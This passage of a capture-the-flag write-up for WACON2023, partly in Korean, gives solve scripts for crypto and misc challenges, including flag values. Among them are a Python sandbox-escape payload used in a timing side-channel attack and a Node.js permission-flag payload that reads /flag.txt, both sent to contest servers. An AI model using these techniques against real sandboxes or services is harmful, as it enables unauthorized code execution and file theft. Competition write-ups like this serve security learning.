seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
proof_idxs = merkle_proof_indexes[chunk[15]]
to_check = seed_tree[proof_idxs[0]] + \
seed_tree[proof_idxs[1]] + \
seed_tree[proof_idxs[2]]
if to_check == chunk[:15]:
master_seed = seed
perm = chunk[-8:].hex()
break
print(master_seed)
print(perm)
def recover(master_seed, perm):
seed_len = 5
seed_tree = [None] * (2*N - 1)
seed_tree[0] = master_seed
for i in range(N-1):
h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
secret_list = list(perm)
for i in reversed(range(N)):
permutation = seed_to_permutation(seed_tree[i + N - 1])
secret_list = [permutation[int(x, 16)] for x in secret_list]
permutated_secret = ''.join(secret_list)
return permutated_secret
def verify(master_seed, secret):
seed_len = 5
seed_tree = [None] * (2*N - 1)
seed_tree[0] = master_seed
for i in range(N-1):
h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
secret_list = list(secret) # ex) ['0','1','2','3',...]
for i in range(N):
# i-th party has a permutation derived from seed_tree[i+N-1]
permutation = seed_to_permutation(seed_tree[i + N - 1])
secret_list = [hex(permutation.find(x))[2:] for x in secret_list]
permutated_secret = ''.join(secret_list)
return permutated_secret
secret = recover(master_seed, perm)
print(secret)
print(verify(master_seed, secret))
print(perm)
secret = secret.encode()
flag = b"WACON2023{" + secret + b'}'
assert len(secret) == 16 and set(secret) == set(b"0123456789abcdef")
# You can bruteforce the secret directly if you can overcome ^^^O(0xbeeeef * 16!)^^^!!!
assert cascade_hash(flag, 0xbeeeef, 32).hex() == 'f7a5108a576391671fe3231040777e9ac455d1bb8b84a16b09be1b2bac68345c'
```
플래그는 `WACON2023{2d4b7a9c085316ef}`입니다.
## Crypto - White arts
```python=
from pwn import *
r = remote('175.118.127.63', 2821)
# context.log_level = 'debug'
def send_query(inp, inverse):
r.sendlineafter(b'q? > ', inp.hex().encode())
r.sendlineafter(b'(y/n)? > ', inverse.encode())
return bytes.fromhex(r.recvline().strip().decode())
# Generator1
Q1, Q2 = b'\x00' * 16, b'\x01' + b'\x00' * 15
r.sendlineafter(b'Generator1? > ', b'1')
for _ in range(40):
a1 = send_query(Q1, 'n')
if a1[:8] == b'\x00' * 8:
r.sendlineafter(b'mode? > ', b'0')
else:
r.sendlineafter(b'mode? > ', b'1')
# Generator2
r.sendlineafter(b'Generator2? > ', b'2')
for _ in range(40):
a1 = send_query(Q1, 'n')
a2 = send_query(Q2, 'n')
if a1[1:8] == a2[1:8]:
r.sendlineafter(b'mode? > ', b'0')
else:
r.sendlineafter(b'mode? > ', b'1')
# Generator3
A, B = b'\x00' * 8, b'\x11' * 8
r.sendlineafter(b'Generator3? > ', b'2')
for _ in range(40):
a1 = send_query(A + B, 'n')
a2 = send_query(B + A, 'y')
if a1[:8] == a2[8:]:
r.sendlineafter(b'mode? > ', b'0')
else:
r.sendlineafter(b'mode? > ', b'1')
print(r.readline())
# Generator4
BASE = b'\x00' * 16
r.sendlineafter(b'Generator4? > ', b'4')
for _ in range(40):
# f(f(0))
res1 = send_query(BASE, 'n')
# f(f(0) ^ 1) ^ 1
T = b'\x00' * 7 + b'\x01'
res2 = send_query(T + T, 'n')
# f^-1(f(0) ^ 1) ^ 1
X = xor(res1, T)
res3 = send_query(X + T, 'y')
# f( f(f^-1(f(0) ^ 1)) ^ 1) ^ 1 = f(f(0)) ^ 1
res4 = send_query(res3 + T, 'n')
if res1[:-1] == res4[:-1]:
r.sendlineafter(b'mode? > ', b'0')
else:
r.sendlineafter(b'mode? > ', b'1')
print("Solved 4")
# Generator5
r.sendlineafter(b'Generator5? > ', b'256')
for _ in range(40):
s = 0
for i in range(256):
res = send_query(bytes([i]), 'n')
s ^= res[0]
if s == 0:
r.sendlineafter(b'mode? > ', b'0')
else:
r.sendlineafter(b'mode? > ', b'1')
r.interactive()
```
## Misc - Let me win
전형적인 Integer programming 문제. Scipy의 MILP를 사용했다.
```python=
import requests
import re
from urllib.parse import quote
with open('team_list.txt', 'r') as f:
teams = f.read().split('\n')
regex = re.compile(r"Chal-[0-9]{2}")
counter = [0 for _ in range(100)]
team_solved = []
for team in teams:
r = requests.get("http://175.118.127.123:5000/team/" + quote(team))
arr = []
for chal in regex.findall(r.text):
chal = int(chal[-2:])
counter[chal] += 1
arr.append(chal)
team_solved.append(arr)
from scipy.optimize import milp, Bounds, LinearConstraint
import numpy as np
c = np.array([1] * 61)
integrality = np.array([1] * 61)
bounds = Bounds(lb=1, ub=999999999)# for _ in range(61)]
const_coef = []
const_low = []
const_high = []
# inp_i > inp_{i+1}
for i in range(60):
coef = [0] * i + [1, -1] + [0] * (59 - i)
const_coef.append(coef)
const_low.append(1)
const_high.append(np.inf)
prev = None
for i in range(61):
arr = team_solved[i]
row = [0 for _ in range(61)]
for chal in arr:
row[counter[chal] - 1] += 1
# print(row)
if prev is not None:
# score_{i-1} > score_i
coef = [ x - y for x, y in zip(prev, row) ]
const_coef.append(coef)
const_low.append(1 if teams[i - 1] > teams[i] else 0)
const_high.append(np.inf)
prev = row
constraints = LinearConstraint(np.array(const_coef), np.array(const_low), np.array(const_high))
res = milp(c, integrality=integrality, bounds=bounds, constraints=constraints)
print(res)
```
## Misc - mic check
robots.txt를 읽어보면 다음을 확인할 수 있다.
```
User-agent: *
allow: /W/A/C/O/N/2/
```
`/W/A/C/O/N/2` 에 대해서 status code 200이 반환되는 것을 확인할 수 있다. 이를 바탕으로 brute-force한다
```python
import requests
flag = "WACON2023{"
while True:
for ch in "0123456789abcdef":
res = requests.get('http://58.225.56.196:5000/' + '/'.join(flag + ch))
if res.status_code == 200:
flag += ch
print(flag)
break
```
## Misc - ScavengerHunt
Use timing attack
```python=
from pwn import *
from time import time
from string import printable
context.log_level = "warning"
def oracle(ix, char):
r = remote("1.234.10.246", 55555)
r.recvline()
start = time()
r.sendline(f'''b.sum(i for i in b.range(100000000)) if (b:=''.__class__.__base__.__subclasses__()[107].load_module("builtins")).list(b.vars(b.__import__("secret")).values())[-1][{ix}] == "{char}" else 1'''.encode())
r.recvall()
stop = time()
r.close()
return (stop - start)
known = "WACON2023{"
for ix in range(len(known), 100):
for c in printable.rstrip():
if (o:=oracle(ix, c)) > 3:
known += c
break
print(o, c)
print(known)
```
## Misc - Web?
Run with `--allow-fs-read=/flag*,/app/eval*` to ignore the regex config.
```
{
"expr":"fs.readFileSync(`/flag.txt`).toString()",
"opt":"--allow-fs-read=/flag*,/app/eval*"
}
```